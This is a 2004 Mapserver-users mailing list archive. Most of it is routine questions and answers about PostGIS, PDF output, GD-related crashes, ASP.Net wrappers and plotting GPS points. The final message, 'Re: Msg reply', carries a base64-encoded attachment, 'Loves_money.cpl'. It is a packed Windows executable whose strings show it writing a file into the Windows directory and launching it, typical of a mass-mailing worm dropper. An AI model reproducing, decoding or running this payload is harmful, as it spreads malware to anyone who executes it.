------=_NextPart_000_006C_01C44F38.20788A30 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Hi Folks,

 

Does anyone know if PostGIS can be used with any of = the commercial native Windows versions of PostgreSQL such as = PowerGres?

 

Thanks in advance,

 

Randy

 

------=_NextPart_000_006C_01C44F38.20788A30-- -- [This E-mail scanned for viruses by Declude Virus] From mhln25 at yahoo.com Thu Jun 10 22:06:22 2004 From: mhln25 at yahoo.com (Mahalakshmi Narayanan) Date: Thu, 10 Jun 2004 22:06:22 -0700 (PDT) Subject: [Mapserver-users] Pdf output shows junk on the browser? Message-ID: <20040611050622.83656.qmail@web50710.mail.yahoo.com> Hi! I tried to output my map as a pdf but I get junk thrown to me when I include the following outputformat tag.. ------------------- OUTPUTFORMAT NAME pdf MIMETYPE "application/x-pdf" DRIVER pdf # FORMATOPTION "OUTPUT_TYPE=RASTER" EXTENSION "pdf" END ------------------- I am running windows xp with -------------- MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ------------------ do i need anything else to be installed on my box to get pdf output? can somebody help me, pls. With regards, Mahalakshmi Narayanan __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From Cedric.Moeri at bd.so.ch Fri Jun 11 01:06:48 2004 From: Cedric.Moeri at bd.so.ch (=?ISO-8859-1?Q?M=F6ri_C=E9dric?=) Date: Fri, 11 Jun 2004 09:06:48 +0100 Subject: [Mapserver-users] Mapserver doesn't create image, no crash Message-ID: <5B025B1F39D6D4119F5700508BEEEC6601423390@SRSOFAIOI4546> Hi Berend sadly engouh I've got no hint for you. We are suffering of exactly the same problem: We are running about 15 projects/mapfiles on the same cgi, but the problem occurs only in one project which worked fine in 3.6. I reduced the number of layers in the project from about 25 to 10, but still the same. We tried all your ideas also with no success. We also tried to eliminate all LABELCACHE and POSTLABELCACHE in the mapfile. We are running MapServer 4.0.1 on RedHat 7.2. If anyone has an idea or the solution of the problem please let me/us know! Best regards C?dric > -----Original Message----- > From: Berend Veldkamp [mailto:berend.veldkamp at aris.nl] > Sent: Wednesday, June 09, 2004 6:58 PM > To: Mapserver Users > Subject: Re: [Mapserver-users] Mapserver doesn't create > image, no crash > > > It seems html code is stripped from messages, so here it is again: > > At 17:50 6/9/2004, Berend Veldkamp wrote: > >Hi, > > > >I'm in the process of upgrading an old mapserver CGI (3.4) > application to 4.2. I have most things working now, but it > seems that now and then mapserver doesn't create a map image > (there's nothing in the tmp dir). > >Instead, I get the following output: > > (This part was stripped): > - An emtpy HTML page, with the output of mapserv -v as a comment - > > > >It seems it depends on which layers I have turned on, and > which area I'm > >zoomed in to. However I can't find a clear pattern, > sometimes I have to > >turn on a particular layer to make it work, other times I > have to turn > >off a layer. > > > >When I turn on logging in the WEB object, I get this: > > > >Wed Jun 9 17:37:32 2004,21917,127.0.0.1,vl,0,172329.357920 > >438926.688000 196177.642080 453219.312000,0.000000 > 0.000000,route bkgrnd > >nummers roads landuse ,normal execution > >Wed Jun 9 17:37:42 2004,21928,127.0.0.1,vl,0,172329.357920 > >438926.688000 196177.642080 453219.312000,0.000000 > 0.000000,route bkgrnd > >nummers roads toerinfo landuse , > > > >On the second line, 'toerinfo' is turned on, and I don't get > the 'normal > >execution' message. > >I have no idea where to start looking, so any hints are appreciated. > > > >I already tried (to no avail): > >- Different ouput format (jpeg, png, png 24 bit) > >- Upgrading GD to 2.0.26 > >- Removing all antialiasing, backgroundcolors, pixmap symbols etc, > >reducing the number of colors from >1000 to 15 > >- Tried MS 4.0 and 4.2 > > > > > >Thanks in advance, Berend > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From EZS at DeStraat.NL Fri Jun 11 00:12:20 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Fri, 11 Jun 2004 09:12:20 +0200 Subject: [Mapserver-users] MapServer and ASP.Net Message-ID: Hello Ross, Yes, you can use ASP.net or any other programming language to work with MapServer CGI. What you would preferrably do is write your own ASP.net 'wrapper' or class to build the requests to and parse the responses from MapServer. Of course you can also just build requests on the fly but for code maintenance it would be best to put things together a bit. A sample of a .net wrapper can be found at http://www.iter.dk/ Best regards, Emil Zegers >>> ross s 06/11/04 04:28 AM >>> Hi everyone, I searched the archives because I assume this question has been asked a lot but I could not locate any conclusive answers. Can ASP.Net be used to design websites and communicate with the MapServercgi exe? Any assistance would be useful, we are an ASP shop looking to move into the MapServer world and we would like to leverage our ASP knowledge. Thanks any assistance would be greatly appreciatetd, I will summarize the responses from everyone. Ross _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From havard.tveite at imt.nlh.no Fri Jun 11 00:18:35 2004 From: havard.tveite at imt.nlh.no (Havard Tveite) Date: Fri, 11 Jun 2004 09:18:35 +0200 Subject: [Mapserver-users] GD 2.0.26 makes Mapserver 4.2.0 crash on symbol rendering In-Reply-To: <40C89EFB.3040104@imt.nlh.no> References: <40C89EFB.3040104@imt.nlh.no> Message-ID: <40C95CCB.2060400@imt.nlh.no> I also include the complete contents of a mapfile containing a filled vector symbol that will crash Mapserver 4.2.0 with GD 2.0.26 when rendered on the right edge of the map: MAP SIZE 100 100 EXTENT 0 0 100 100 WEB IMAGEPATH "/WWW/tmp/" IMAGEURL "/tmp/" TEMPLATE test.html END #web SYMBOL NAME "lrtriangle" TYPE vector FILLED true # false is OK POINTS 0 1 1 1 1 0 0 1 END END #symbol LAYER # test NAME test STATUS DEFAULT TYPE POINT FEATURE POINTS 98 50 # X-values <= 96 are OK. For X=97, y-values >= 93 makes it work. For X=98, y-values >= 94 makes it work. For X=99, Y-values >= 95 makes it work. For X=100, y-values >= 96 makes it work. When the triangle extends over the image border, a vertical line shows up above the triangle (to the full height of the triangle - 15 points) END #POINTS END #Feature CLASS STYLE COLOR 255 0 0 SYMBOL "lrtriangle" SIZE 14 END # style END # CLASS END # LAYER test END # Map file Havard Tveite wrote: > I have tested the newest GD release (GD 2.0.26) with Mapserver > 4.2.0, and have experienced occational Mapserver crashes due > to symbol problems. > I have managed to track down the following: > When my "lltriangle" symbol (shown below) is placed such that > it intersects the right edge of the rendered map (a part of the > triangle is inside and a part is outside), Mapserver always > crashes ("Internal Server Error" - in the Apache error log: > "Premature end of script headers: mapserv_4.2"). > > Switching to the GD 2.0.25 library there is no crash. > > Here is the problematic symbol: > > SYMBOL > NAME "lltriangle" > TYPE vector > FILLED true > POINTS > 0 1 > 1 1 > 1 0 > 0 1 > END > END > > With a box symbol like the one below, map edge intersection is not a > problem. > > SYMBOL > NAME "box" > TYPE vector > FILLED true > POINTS > 0 0 > 1 0 > 1 1 > 0 1 > 0 0 > END > END > > mapserv_4.2 -v: > MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=SDE > INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > Platform Solaris 2.7 > -- H?vard Tveite Department of Mathematical Sciences and Technology Agricultural University of Norway Dr?bakveien 14, POBox 5003, N-1432 ?s, NORWAY Phone: +47 64948857 Fax: +47 64948810 http://www.nlh.no/imt From jonathan.mangano at startrack.com.au Fri Jun 11 00:27:44 2004 From: jonathan.mangano at startrack.com.au (Jonathan Mangano) Date: Fri, 11 Jun 2004 15:27:44 +0800 Subject: [Mapserver-users] Dynamic Features Message-ID: I have probably been too vague so here is some more info on what I have and what I am trying to do. I already have a database full of gps coordinates for varies vehicles and can load this data through java (the information is already used on a J2EE website) or using PHP. I have a working mapserver running on apache with php4 installed. So far I have successfully displayed maps and with a number of layers. The difficulty I am having is dynamically placing points on a map to show where a vehicle is using the gps coordinates I have. I have gone through all the php mapscript tutorials I could find and have not found an example of this. I did find a perl example in this forum but couldn't get it to show the points. Does anyone have a link to a short tutorial or example that would explain how I can (probably using php) create a points layer place points at various lat/lon coordinates and display it with associated map layers? Thanks >>> "Jonathan Mangano" 10/06/2004 09:36:01 >>> I am building a fleet management system that track moving vehicles using gps. I need to add mapping functionality but am new to the gis world and am having difficultly finding a starting point. Are there any mapserver tutorials that go through adding dynamic features to a map? Thanks _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From EZS at DeStraat.NL Fri Jun 11 00:37:47 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Fri, 11 Jun 2004 09:37:47 +0200 Subject: [Mapserver-users] Pdf output shows junk on the browser? Message-ID: Hello If your PDF configuration in the map file is correct and you do have installed Adobe Acrobat and/or Reader, the problem might be caused by some browser related issues. Especially recent IE versions have trouble displaying server side (created) PDF's properly. Take a look at the following links for more info: http://www.adobe.com/support/techdocs/29776.htm http://forum.planetpdf.com/wb/default.asp?action=9&fid=6&read=41191 http://www.bnl.gov/itd/webapps/pdf_help.asp Groeten, Emil Zegers De Straat Milieu-adviseurs Divisie Informatisering 026 7513902 06 22965585 http://www.destraat.nl >>> Mahalakshmi Narayanan 06/11/04 08:09 AM >>> Hi! I tried to output my map as a pdf but I get junk thrown to me when I include the following outputformat tag.. ------------------- OUTPUTFORMAT NAME pdf MIMETYPE "application/x-pdf" DRIVER pdf # FORMATOPTION "OUTPUT_TYPE=RASTER" EXTENSION "pdf" END ------------------- I am running windows xp with -------------- MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ------------------ do i need anything else to be installed on my box to get pdf output? can somebody help me, pls. With regards, Mahalakshmi Narayanan __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From TMitchell at lignum.com Fri Jun 11 01:30:30 2004 From: TMitchell at lignum.com (TMitchell) Date: Fri, 11 Jun 2004 02:30:30 -0600 Subject: [Mapserver-users] Re: Msg reply Message-ID: ----------wxdhraduukkvljsziomn Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------wxdhraduukkvljsziomn Content-Type: application/octet-stream; name="Loves_money.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Loves_money.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAATYEAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAAE1RAAAAMAAATVEAAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASVEAAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA 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 